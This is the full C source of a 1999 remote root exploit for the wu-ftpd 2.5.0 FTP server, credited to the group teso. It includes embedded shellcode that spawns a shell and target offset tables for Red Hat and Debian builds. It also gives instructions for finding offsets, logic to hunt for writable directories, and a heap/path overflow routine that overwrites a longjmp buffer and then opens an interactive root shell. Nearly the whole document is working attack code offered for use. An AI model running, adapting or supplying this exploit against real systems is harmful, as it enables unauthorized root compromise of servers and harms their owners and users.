wuftpd 2.5.0 heap-based exploit
c66bbfb8e83b185de65b90f0fbc1f1d1fc5a4716ed694916c9175686d5a745e2
/*
<tmogg> ifaf ?
<typo_> integrated ftp attack facility
<ElCamTuf> ifafoffuffoffaf
<ElCamTuf> sounds much better
Code by typo/teso '99. http://teso.scene.at/ - DO NOT USE, DO NOT DISTRO.
_----------------------------------------------------------------------------_
Ok, so edi found a way to bruteforce.. we made bruteforcing test code,
but wuftpd is too boring to finetune it.. enjoy this sploit in the
meanwhile. Send me offsets (see below) to typo@scene.at.
-____________________________________________________________________________-
Contributors:
Bulba of LaM3rZ (thanks for the shellcode and the example w.sh)
edi (found a way to only have to find 2(!) offsets, he is hardcore!)
lcamtuf (dziekuje tobie za ostatunia noc)
Grue (helped me thinking, and testing, rh5.2, rh5.1 offsets)
scut (minor include and style fixes)
smiler (asm bugfixing), stealth (hellkit rox)
Greets: Lam3rZ, ADM, THC, beavuh, and most other people that know us.
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/utsname.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <signal.h>
#include <time.h>
#include <getopt.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdarg.h>
/* LaM3rZ shellcode */
unsigned char lamerz[]=
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb"
"\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31"
"\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\x01\xb0\x27\xcd"
"\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31\xdb"
"\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d\x5e"
"\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46\x09"
"\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8\x88"
"\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\x89"
"\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0\x31"
"\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\x30\x62\x69\x6e"
"\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x6e\x67";
/* teso code: write(1,"teso\n",5); exit(0); */
unsigned char testcode[] =
"\xeb\x1c\x31\xc0\x59\x31\xd2\x31\xdb\xb3\x01\xb2\x05\xb0"
"\x0b\xfe\xc8\x88\x41\x04\xb0\x04\xcd\x80\x30\xdb\xb0\x01"
"\xcd\x80\xe8\xdf\xff\xff\xfftesox";
/* teso code: ioctl(, 0x5309, 0); */
unsigned char cdcode[] =
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\xeb\x36\x5b\xff\x0b\xff\x4b\x04"
"\x4b\x80\x6b\x0b\x35\x43\x31\xc0\x31\xc9\x31\xd2\xb0\x05\x66\xb9\x04\x08"
"\x66\xba\x9a\x02\xcd\x80\x89\xc3\x31\xc0\x31\xc9\x31\xd2\xb0\x36\x66\xb9"
"\x09\x53\xcd\x80\x31\xc0\x31\xdb\xb0\x01\xcd\x80\xe8\xc5\xff\xff\xff"
"\x30\x64\x65\x76\x30\x63\x64\x72\x6f\x6d\x35";
/* uh.. script kiddies suck. */
char *shellcode = cdcode;
typedef struct dir *dirptr;
struct dir {
char *name;
dirptr next;
} dirproto;
void title (void);
void usage (const char *me);
void connect_to_ftp (void);
void log_into_ftp (void);
void parseargs (int argc, char **argv);
void cleanup_and_exit (void);
int x2port (const char *smtn);
void err (int syserr, const char *msg, ...);
int cwd (const char *path);
int mkd (char *name);
int rmd (char *name);
int is_writable (void);
void getpwd (void);
int recurse_writable (void);
void *xmalloc (size_t size);
void *xcalloc (int factor, size_t len);
char *xstrdup (const char *s);
ssize_t xread (int fd, void *buf, size_t count);
ssize_t xwrite (int fd, const void *buf, size_t count);
int xbind (int sockfd, struct sockaddr *my_addr, int addrlen);
int xsocket (int domain, int type, int protocol);
int xsetsockopt (int s, int level, int optname, const void *optval,
unsigned int optlen);
int xconnect (int sockfd, struct sockaddr *serv_addr, int addrlen);
void sighandler (int signal);
struct hostent *xgethostbyname (const char *name);
struct hostent *xgethostbyaddr (const char *addr, int len, int type);
void putserv (const char *fmt, ...);
char *getline (void);
char *getmsg (const char *msg);
int wuftpd_250_sploitit (void);
dirptr newdir (char *name);
char *getdir (char *stat);
char *int2char (int addr);
int check_test_return();
/*----------------------------------------------------------------
*** How to get offsets ***
------------------------------------------------------------------
Edis elite way of getting offsets:
objdump --disassemble in.ftpd | egrep -6 "3c 2e|0f bf 43 06" |
grep "\$0x80" | awk '{print $8}'
------------------------------------------------------------------
My lame way of getting offsets:
(as many people have asked: search for ltrace at http://freshmeat.net/)
tty1:
nc 0 21
USER someuser
PASS hispass
tty2:
ltrace -S -p pid_of_ftpd 2>&1 | egrep "SYS_chdir|longjmp"
tty1:
CWD /not/current/dir
MOO
QUIT
tty2:
first argument of first SYS_chdir is mapped_path offset.
first argument of longjmp is errcatch offset
------------------------------------------------------------------
try 4096 and/or 1024 for maxpathlen (works 99% of the time).
------------------------------------------------------------------*/
struct sploitdata {
char *banner;
char *desc;
char pad_eax;
unsigned int maxpathlen;
unsigned int mapped_path;
unsigned int errcatch;
int (*code)();
int need_writable;
};
#define START_MAPPED 0x08060000
struct sploitdata spdata[] = {
{
"FTP server (Version wu-2.5.0(1) Tue Jun 8 08:55:12 EDT 1999)",
"rh6 - wu-ftpd-2.5.0-2.i386.rpm",
0,
4096,
0x0806a1e0,
0x08077fc0,
wuftpd_250_sploitit,
1,
},
{
"Fri May 21 10:45:57 EDT 1999",
"rh5.1 - wu-ftpd-2.5.0-1.RH5-1.i386.rpm",
0,
1024,
0x08066890,
0x0806fcc0,
wuftpd_250_sploitit,
1,
},
{
"Tue Jun 8 11:19:44 EDT 1999",
"rh5.2 - wu-ftpd-2.5.0-0.5.2.i386.rpm",
0,
1024,
0x08067504,
0x08077fc0,
wuftpd_250_sploitit,
1,
},
{
"FTP server (Version wu-2.5.0(1) Sat Sep 11 01:19:26 CEST 1999)",
"debian 2.1 - standard source compilation",
0,
1024,
0x806928c,
0x8071a80,
wuftpd_250_sploitit,
1,
},
{
"FTP server (Version wu-2.5.0(1)",
"rh6.0 wu-ftpd-2.5.0.tar.gz - standard source compilation",
0,
4096,
0x8068f80,
0x8076d60,
wuftpd_250_sploitit,
1,
},
{
NULL,
NULL,
0,
0,
0,
0,
NULL,
0,
}
};
struct sploitdata *sptr = spdata;
int debug = 0,
disp = 1,
fd = 0,
nostat = 1,
offset_selected = 0;
struct tesopt {
char *user;
char *host;
char *pass;
char *cwd;
char *rev;
char *dirname;
int dirlen;
char testonly;
char dirscanonly;
unsigned short int sport;
unsigned short int port;
struct hostent *he;
} tesopt;
struct hostinf {
char *header;
char *pwd;
char *writable_dir;
int pwdlen;
} hostinf;
#define COLOR
#ifdef COLOR
#define C_NORM "\E[0m"
#define C_BOLD "\E[1m"
#define C_GREEN "\E[32m"
#define C_RED "\E[31m"
#define C_BROWN "\E[33m"
#define C_BLUE "\E[34m"
#define C_PINK "\E[35m"
#define C_CYAN "\E[36m"
#define C_YELL "\E[33m"
#else
#define C_NORM ""
#define C_BOLD ""
#define C_GREEN ""
#define C_RED ""
#define C_BROWN ""
#define C_BLUE ""
#define C_PINK ""
#define C_CYAN ""
#define C_YELL ""
#endif
/* title
*
* print title
*
* no return value
*/
void
title (void)
{
printf (C_BOLD"---"C_GREEN"teso"C_NORM C_GREEN"ftpd"C_NORM C_BOLD"---"
C_NORM"\n");
return;
}
/* newdir
*
* return a pointer to a new dir with name name
*
* pointer to dir structure
*/
dirptr
newdir (char *name)
{
dirptr tmp;
tmp = (dirptr) xmalloc (sizeof (dirproto));
tmp->name = xstrdup (name);
tmp->next = NULL;
return (tmp);
}
/* usage
*
* print usage
*
* no return value
*/
void
usage (const char *me)
{
struct sploitdata *cow;
int i = 0;
/* printf ("usage: %s\n\n", me); */
printf ("-h - this help\n"
"-s <server> - specify server\n"
"-p <port> - destination port\n"
"-f <sourceport> - source port\n"
"-v(v) - increase verboseness, use twice for full verboseness\n"
"-u <user> - user name to use for login\n"
"-P <pass> - password to use for login\n"
"-c <startdir> - directory to cwd to after login\n"
"-d <writedir> - directory to test writeability with\n"
"-r <revhost> - revlookup this host sees you with\n"
"-D <dirlen> - specifies the directory length\n"
"-T - use test shellcode (prints success, spawns no shell)\n"
"-t <type>:\n");
for (cow = spdata ; cow->desc ; ++cow) {
printf ("%s-%s %3d %s%s-%s\n%s\n%s\n", C_BOLD, C_GREEN, i++, C_NORM,
C_BOLD, C_NORM, cow->banner, cow->desc);
}
printf ("%s-%s EOO %s%s-%s\n", C_BOLD, C_GREEN, C_NORM, C_BOLD, C_NORM);
exit (EXIT_FAILURE);
}
/* sighandler
*
* handle signals
*
* no return value
*/
void
sighandler (const int signal)
{
printf ("received signal: %d... exiting!\n", signal);
cleanup_and_exit ();
}
/* err
*
* print an error message. if arg0 is set add an errno message (perror like)
* exit afterwards
*
* no return value
*/
void
err (const int syserr, const char *msg, ...)
{
va_list ap;
printf ("%serr:%s ", C_RED, C_NORM);
va_start (ap, msg);
vprintf (msg, ap);
va_end (ap);
if (syserr) {
printf (": %s\n", sys_errlist[errno]);
} else {
printf ("\n");
}
cleanup_and_exit();
return;
}
/* parseargs
*
* parse arguments
*
* no return value (exit on failure)
*/
void
parseargs (int argc, char **argv)
{
char c;
opterr = 0;
tesopt.user = "anonymous";
tesopt.pass = "m@y.kr";
tesopt.dirname = "tesotest";
tesopt.port = 21;
tesopt.sport = 666;
tesopt.cwd = "";
tesopt.dirlen = 255;
tesopt.testonly = 0;
tesopt.dirscanonly = 0;
while ((c = getopt (argc, argv, "vhs:p:f:u:P:c:d:D:r:t:bTo")) != EOF) {
switch (c) {
case 'v': ++debug;
break;
case 'h': usage (argv[0]);
break;
case 's': tesopt.host = optarg;
break;
case 'p': if (optarg != NULL)
tesopt.port = x2port (optarg);
break;
case 'f': if (optarg != NULL)
tesopt.sport = x2port (optarg);
break;
case 'u': if (optarg != NULL)
tesopt.user = optarg;
break;
case 'P': if (optarg != NULL)
tesopt.pass = optarg;
break;
case 'c': if (optarg != NULL)
tesopt.cwd = optarg;
break;
case 'd': if (optarg != NULL)
tesopt.dirname = optarg;
break;
case 'r': if (optarg != NULL)
tesopt.rev = xstrdup (optarg);
break;
case 'D': tesopt.dirlen = atoi(optarg);
break;
case 't': sptr += atoi(optarg);
offset_selected = 1;
if (!sptr->desc) {
err (0, "invalid offset set");
}
break;
case 'T': shellcode = testcode;
tesopt.testonly = 1; break;
case 'o': tesopt.dirscanonly = 1; break;
}
}
if (tesopt.host == NULL)
err (0, "server not specified (see -h)");
if (tesopt.port == 0)
err (0, "port not or incorrectly specified (see -h)");
if (tesopt.sport == 0)
err (0, "sport not or incorrectly specified (see -h)");
if (tesopt.dirlen == 0)
err (0, "illegal dirlen!\n");
tesopt.he = xgethostbyname (tesopt.host);
return;
}
struct hostent *
xgethostbyname (const char *name)
{
struct hostent *tmp;
tmp = gethostbyname (name);
if (tmp == NULL)
err (1, "cannot gethostbyname");
return (tmp);
}
struct hostent *
xgethostbyaddr (const char *addr, int len, int type)
{
struct hostent *tmp;
tmp = gethostbyaddr (addr, len, type);
if (tmp == NULL)
err(1,"cannot gethostbyaddr");
return (tmp);
}
/* xmalloc
*
* wrap malloc with error handling
*
* return or abort
*/
void *
xmalloc (size_t size)
{
void *tmp = malloc (size);
if (tmp == NULL)
err (1, "malloc failed");
return (tmp);
}
/* xcalloc
*
* wrap calloc with error handling
*
* return or abort
*/
void *
xcalloc (int factor, size_t len)
{
void *new = calloc (factor, len);
if (new == NULL)
err (1, "calloc failed");
return (new);
}
/* xstrdup
*
* wrap strdup with error handling
*
* return or abort
*/
char *
xstrdup (const char *s)
{
char *tmp;
tmp = strdup (s);
if (tmp == NULL)
err (1, "strdup failed");
return (tmp);
}
/* xread
*
* read with error handling
*
* return length of readen data
*/
ssize_t
xread (int fd, void *buf, size_t count)
{
int tmp;
tmp = read (fd, buf, count);
if (tmp < 1)
err (1, "read failed");
return (tmp);
}
/* xwrite
*
* write with error handling
*
* return length of written data
*/
ssize_t
xwrite (int fd, const void *buf, size_t count)
{
int tmp;
tmp = write (fd, buf, count);
if (tmp < 0)
err (1, "write failed");
return (tmp);
}
/* xbind
*
* bind with error handling
*
* return bound socket
*/
int
xbind (int sockfd, struct sockaddr *my_addr, int addrlen)
{
int tmp;
tmp = bind (sockfd, (struct sockaddr *) my_addr, addrlen);
if (tmp < 0)
err (1, "bind failed");
return (tmp);
}
/* xsocket
*
* socket with error handling
*
* return allocated socket descriptor
*/
int
xsocket (int domain, int type, int protocol)
{
int tmp;
tmp = socket (domain, type, protocol);
if (tmp < 0)
err (1, "socket failed");
return (tmp);
}
/* xsetsockopt
*
* setsockopt with error handling
*/
int
xsetsockopt (int s, int level, int optname, const void *optval,
unsigned int optlen)
{
int tmp;
tmp = setsockopt (s, level, optname, optval, optlen);
if (tmp < 0)
err (1, "setsockopt failed");
return (tmp);
}
/* xconnect
*
* connect with error handling
*/
int
xconnect (int sockfd, struct sockaddr *serv_addr, int addrlen)
{
int tmp;
tmp = connect (sockfd, serv_addr, addrlen);
if (tmp < 0)
err (1, "connect failed");
return (tmp);
}
/* connect_to_ftp
*
* connect to ftpserver and resolve local ip
*
* return nothing
*/
void
connect_to_ftp (void)
{
int i = 1;
struct sockaddr_in sin;
struct hostent *he;
fd = xsocket (AF_INET, SOCK_STREAM, 0);
xsetsockopt (fd, SOL_SOCKET, SO_REUSEADDR, &i, sizeof (i));
bzero (&sin, sizeof (sin));
sin.sin_family = AF_INET;
// sin.sin_port = htons (tesopt.sport);
sin.sin_addr.s_addr = 0;
xbind (fd, (struct sockaddr*) &sin, sizeof (sin));
sin.sin_port = htons (tesopt.port);
sin.sin_family = AF_INET;
memcpy (&sin.sin_addr.s_addr, tesopt.he->h_addr, sizeof (struct in_addr));
xconnect (fd, (struct sockaddr*) &sin, sizeof (sin));
/* this is a good time to get our revlookup (if not user defined) */
if (tesopt.rev == NULL) {
i = sizeof (sin);
getsockname (fd, (struct sockaddr *) &sin, &i);
he = gethostbyaddr ((char *) &sin.sin_addr,
sizeof (sin.sin_addr), AF_INET);
tesopt.rev = xstrdup (he->h_name);
}
printf ("Connected! revlookup is: %s, logging in...\n", tesopt.rev);
return;
}
/* putserv
*
* send data to the server
*/
void
putserv (const char *fmt, ...)
{
va_list ap;
unsigned char output[1024];
int i, total;
memset (output, '\0', sizeof (output));
va_start (ap, fmt);
vsnprintf (output, sizeof (output) - 1, fmt, ap);
va_end (ap);
/* this is edis code
*/
total = strlen (output);
for (i = 0; i < total; i++) {
if (output[i] == 0xff) {
memmove (output + i + 1, output + i, total - i);
total++;
i++;
}
}
if (disp != 0 && (debug > 1))
printf ("%s%s%s", C_BLUE, output, C_NORM);
xwrite (fd, output, total);
return;
}
#define LINEBUFLEN 8192
char linebuf[LINEBUFLEN]; /* saves us free()ing trouble. */
/* getline
*
* get next line from server or local buffer
*/
char *
getline (void)
{
char y[2];
int i = 0;
memset (linebuf, '\0', sizeof (linebuf));
strcpy (y, "x");
while (strncmp (y, "\n", 1) != 0) {
if (i > (sizeof (linebuf) + 2)) {
err (0, "getline() buffer full");
}
i += xread (fd, y, 1);
strcat (linebuf, y);
}
if (disp != 0 && debug > 0) {
#ifdef COLOR
if (nostat != 0) {
char color[64];
memset (color, '\0', sizeof (color));
switch (linebuf[0]) {
case '2': strcpy (color, C_CYAN);
break;
case '3': strcpy (color, C_BROWN);
break;
case '4': strcpy (color, C_RED);
break;
case '5': strcpy (color, C_RED);
break;
default: break;
}
printf ("%s", color);
}
#endif
if (nostat != 0 || debug > 1)
printf ("%s", linebuf);
#ifdef COLOR
if (nostat != 0)
printf ("%s", C_NORM);
#endif
}
return (linebuf);
}
/* getmsg
*
* discard lines until expected response or error is reported
*/
char *
getmsg (const char *msg)
{
char *line;
int i = strlen (msg);
do {
line = getline ();
} while (strncmp (line, msg, i) != 0 && strncmp (line, "5", 1) != 0);
return (line);
}
/* log_into_ftp
*
* log into the ftp server given the login name and password
*
* return nothing
*/
void
log_into_ftp (void)
{
char *line;
char foundmatch=0;
line = getmsg ("220 ");
hostinf.header = xstrdup (line);
if (!debug)
printf("%s", line);
if (!offset_selected) {
for (sptr = spdata ; sptr->banner ; ++sptr) {
if (strstr(line, sptr->banner)) {
foundmatch=1;
break;
}
}
if (!foundmatch)
err(0, "No offset selected, and no matching banner found!");
}
printf ("Using offsets from: %s\n", sptr->desc);
putserv ("USER %s\n", tesopt.user);
getmsg ("331 ");
putserv ("PASS %s\n", tesopt.pass);
line = getmsg ("230 ");
if (strncmp ("5", line, 1) == 0)
err (0, "login not accepted!\n");
if (strlen (tesopt.cwd) > 0) {
if (cwd (tesopt.cwd) == 0) {
err (0, "initial CWD failed.");
}
}
getpwd ();
return;
}
/* recurse_writable
*
* recursively scans for writable dirs, starting in CWD
*
* return 1 for CWD is writable
* return 0 for no writable dir found
*/
int
recurse_writable (void)
{
dirptr dirroot = NULL,
current = NULL,
prev = NULL;
char *line = "",
*tmp = "";
if (is_writable () != 0)
return (1);
nostat = 0;
putserv ("STAT .\n");
while (strncmp (line, "213 ", 4) != 0) {
line = getline ();
tmp = getdir (line);
if (tmp == NULL)
continue;
if (dirroot == NULL) {
current = dirroot = newdir (tmp);
continue;
}
current->next = newdir (tmp);
current = current->next;
}
nostat = 1;
current = dirroot;
while (current != NULL) {
if (cwd (current->name)) {
if (recurse_writable ())
return (1);
cwd ("..");
}
prev = current;
current = current->next;
free (prev->name);
free (prev);
}
return (0);
}
/* mkd
*
* make a directory
*
* return 0 on success
* return 1 if the directory already exists
* retrun 2 on error
*/
int
mkd (char *name)
{
char *line;
putserv ("MKD %s\n", name);
line = getmsg ("257 ");
if (strncmp ("521 ", line, 4) == 0)
return (1);
if (strncmp ("257 ", line, 4) == 0)
return (0);
return (2);
}
/* rmd
*
* remove a directory
*
* return 0 on success
* return 1 on failure
*/
int
rmd (char *name)
{
char *line;
putserv ("RMD %s\n", name);
line = getmsg ("250 ");
if (strncmp("250 ", line, 4) == 0)
return (0);
return (1);
}
/* is_writeable
*
* check whether the current working directory is writeable
*
* return 1 if it is
* return 0 if it is not
*/
int
is_writable (void)
{
int i = 0,
is = 0;
redo:
if (++i > 3)
return (0);
is = mkd (tesopt.dirname);
if (is == 1) {
printf ("leet.. our file already exists.. delete and retry\n");
rmd (tesopt.dirname);
goto redo;
} else if (is == 0) {
rmd (tesopt.dirname);
return (1);
}
return (0);
}
/* cwd
*
* change current working directory on the ftp server
*
* return 1 on success
* return 0 on failure
*/
int
cwd (const char *path)
{
char *line;
if (debug != 0)
printf ("CWD %s\n", path);
putserv ("CWD %s\n", path);
line = getmsg ("250 ");
if (strncmp ("250 ",line, 4) == 0)
return (1);
return (0);
}
/* getpwd
*
* sets hostinf.pwd to CWD
*
* returns nothing
*/
void
getpwd (void)
{
char *tmp,
*line;
char *chr,
*rchr;
putserv ("PWD\n");
line = getmsg ("257 ");
if (strncmp ("257 ", line, 4) != 0)
err (0, "getpwd failed: incorrect answer: %s", line);
/* too long, but for sure long enough. */
tmp = xcalloc (strlen (line) + 1, 1);
chr = strchr (line, '"');
rchr = strrchr (line, '"');
if (chr == NULL)
err (0, "no \"'s in getpwd.");
if (chr == rchr)
err (0, "only one \" in getpwd.");
if ((rchr - chr) < 2)
err (0, "pwd too short?");
strncat (tmp, chr + 1, rchr - chr - 1);
if (hostinf.pwd != NULL)
free (hostinf.pwd);
hostinf.pwd = xstrdup (tmp);
free (tmp);
hostinf.pwdlen = strlen (hostinf.pwd);
/* printf("current pwd is %s\n", hostinf.pwd); */
}
/* getdir
*
* get directory from a STAT string (parsing works with wuftpd AND proftpd)
*
* return pointer to directory name on success
* return NULL on failure/not a directory
*/
char *
getdir (char *stat)
{
char *dir = stat;
if (strlen (dir) < 57)
return (NULL);
if (strncmp (" ", dir, 1) == 0)
++dir;
if (strncmp ("d", dir, 1) != 0)
return (NULL);
dir += 55;
dir[strlen (dir) - 2] = 0;
/* printf("strlen is %d for %s",strlen(dir), dir); */
if (strcmp (".", dir) == 0 || strcmp ("..", dir) == 0)
return (NULL);
return (dir);
}
/* cleanup_and_exit
*
* cleanup functions on exit
*
* return nothing
*/
void
cleanup_and_exit (void)
{
free (tesopt.rev);
free (hostinf.header);
free (hostinf.pwd);
close (fd);
printf ("%s\n", C_NORM);
exit (EXIT_SUCCESS);
}
/* x2port
*
* like atoi, but with getservbyname if atoi() fails
*
* return port
*/
int
x2port (const char *smtn)
{
struct servent *serv;
int port;
port = atoi (smtn);
if (port == 0) {
serv = getservbyname (smtn, "tcp");
if (serv != NULL)
port = htons (serv->s_port);
}
return (port);
}
/* int2char
*
* converts an integer to 4byte char *
*
* return port
*/
char int2char_tmp[8];
char *
int2char (int addr)
{
bzero(&int2char_tmp, 8);
int2char_tmp[0] = (addr & 0x000000ff);
int2char_tmp[1] = (addr & 0x0000ff00) >> 8;
int2char_tmp[2] = (addr & 0x00ff0000) >> 16;
int2char_tmp[3] = (addr & 0xff000000) >> 24;
int2char_tmp[4] = 0;
return (int2char_tmp);
}
/* wuftpd_250_sploitit
*
* tries to exploit wuftpd 2.5.0, after all preparation work is done.
*
* return 0 on error
* return 1 on success
*/
int
wuftpd_250_sploitit (void)
{
int shelloff,
times,
fill;
int start_writing_to_errcatch,
argvlen,
behind_errcatch;
int i, n;
char string[2048];
argvlen = strlen ("ftpd: ");
argvlen += strlen (tesopt.rev);
argvlen += strlen (": ");
argvlen += strlen (tesopt.user);
argvlen += strlen (": ");
if (strncmp ("anonymous", tesopt.user, 9) == 0)
argvlen += strlen (tesopt.pass) + 1;
times = (sptr->maxpathlen-hostinf.pwdlen) / (tesopt.dirlen + 1);
fill = sptr->maxpathlen-hostinf.pwdlen - (tesopt.dirlen + 1) * times;
if (debug > 0) {
printf ("CWD %d + (dirlen %d * %d times) + fill %d = %d\n",
hostinf.pwdlen, tesopt.dirlen, times, fill, sptr->maxpathlen);
}
if (strlen (shellcode) > (tesopt.dirlen - 40))
err(0, "shellcode too big, edit the source to use less padding,"
"\nhmm.. this shouldn't have happened with LaM3rZ shellcode!");
/* let's try to hit the middle of our 0x90 pad */
shelloff = sptr->mapped_path + hostinf.pwdlen
+ ( (tesopt.dirlen - strlen(shellcode)) / 2);
if (debug > 0)
printf ("will try to longjmp to 0x%x\n", shelloff);
start_writing_to_errcatch = sptr->errcatch - argvlen;
behind_errcatch = sptr->errcatch + (6 * 4) + 2 + 8;
if (debug > 0) {
printf ("errcatch(0x%x) - argvlen(%d) = start 0x%x - end 0x%x\n",
sptr->errcatch, argvlen, start_writing_to_errcatch, behind_errcatch);
}
memset (string, 'A', tesopt.dirlen);
if (debug<3) /* 0x0e/^N in shellcode -> not meant for humans. */
disp = 0;
for (i = 0; i < times; i++) {
switch (i) {
case 0: memset (string, 0x90, tesopt.dirlen);
memcpy (string+tesopt.dirlen-strlen(shellcode),
shellcode, strlen (shellcode));
break;
case 1: memset (string, 0x90, tesopt.dirlen); break;
default:
break;
}
string[tesopt.dirlen] = 0;
putserv ("MKD %s\n", string);
getline ();
putserv ("CWD %s\n", string);
getline ();
}
getpwd ();
disp = 1;
if (debug > 0)
printf ("Now %d bytes deep in dir structure.\n", hostinf.pwdlen);
if (fill != sptr->maxpathlen-hostinf.pwdlen)
err (0, "Calculation wrong. Error!");
if (fill > 506)
err (0, "Aw.. fuck! My fill is waaaay to big!\n");
/* onefile[0], onefile[1] and maybe pad_eax */
fill += sptr->pad_eax ? 12 : 8;
n = fill/4;
string[0] = 0;
for (i=0; i < n; i++)
strcat(string, int2char(start_writing_to_errcatch));
for (i=1; i < (fill - (n*4)); i++)
strcat(string, "A");
/* mapped_path + currentpwdlen + / + 3*4 -> should be pointer to errcatch */
strcat (string, int2char (sptr->mapped_path+hostinf.pwdlen+13)); /* Argv */
strcat (string, int2char (behind_errcatch)); /* LastArgv */
if (debug > 0)
printf ("Sending final CWD\n");
if (strlen (string) < 20)
err (0, "cwd string too short.. check for 0x0's.\n");
putserv ("CWD %s\n", string);
getline ();
/************ jmpbuf ***********/
if (debug > 0)
printf ("Sending jmpbuf\n");
string[0] = 0;
for (i=0; i<8; i++) /* (sizeof(jmpbuf) = 24)+8.. */
strcat (string, int2char (shelloff));
if (strlen (string) != 32)
err (0, "jmpbuf string too short.. check for 0x0's.\n");
putserv ("%s\n", string);
getline ();
return (1);
}
/* shell
*
* provide a pseudo shell..
*
* return nothing
*/
void
shell (void)
{
char buf[5120];
int l;
fd_set rfds;
printf("%sSpawning rootshell:%s\n", C_RED, C_NORM);
while (1) {
FD_SET (0, &rfds);
FD_SET (fd, &rfds);
select (fd+1, &rfds, NULL, NULL, NULL);
if (FD_ISSET (0, &rfds)) {
l = read (0, buf, sizeof (buf));
if (l <= 0)
cleanup_and_exit ();
xwrite (fd, buf, l);
}
if (FD_ISSET (fd, &rfds)) {
l = read (fd, buf, sizeof (buf));
if (l <= 0)
cleanup_and_exit ();
xwrite (1, buf, l);
}
}
}
/* check_test_return
*
* Check if testcode sploiting was successfull.
*
* return 0 on failure
* return 1 on success
*/
int check_test_return(char *what, int len) {
char line[1024];
int i, flags;
fd_set rset;
struct timeval tv;
printf("w8ing for testshellcode to respond...\n");
flags = fcntl(fd, F_GETFL, 0);
if (fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0)
err(1, "fcntl fucked up (testshellcode)");
FD_ZERO(&rset);
FD_SET(fd, &rset);
tv.tv_sec = 10;
tv.tv_usec = 0;
if (!select(fd + 1, &rset, NULL, NULL, &tv))
err(0, "select timed out(testshellcode)");
i = read(fd, line, len);
if (!strncmp(what, line, len)) {
printf("%sSploit successfull!%s\n", C_RED, C_NORM);
return(1);
};
printf("%sSploit not successfull!%s\n", C_RED, C_NORM);
return(0);
}
int
main (int argc, char **argv)
{
int i;
title ();
if (argc < 3)
usage (argv[0]);
signal (SIGINT, (void *) &sighandler);
signal (SIGQUIT, (void *) &sighandler);
parseargs (argc, argv);
printf("Connecting...\n");
connect_to_ftp ();
log_into_ftp ();
if (sptr->need_writable || tesopt.dirscanonly) {
printf ("Logged in! Searching for a writable directory...\n");
if (!recurse_writable())
err (0, "kurwa mac! no writable dir found\n");
} else {
printf ("Logged in!\n");
}
getpwd ();
printf (" %s is writable.. rock on!\n", hostinf.pwd);
if (!tesopt.dirscanonly) {
printf("Trying to sploit...\n");
sptr->code();
tesopt.testonly ? i = check_test_return("teso\n", 5) : shell();
if (!i)
printf ("sploiting not successfull\n");
}
cleanup_and_exit();
return (0); /* not reached */
}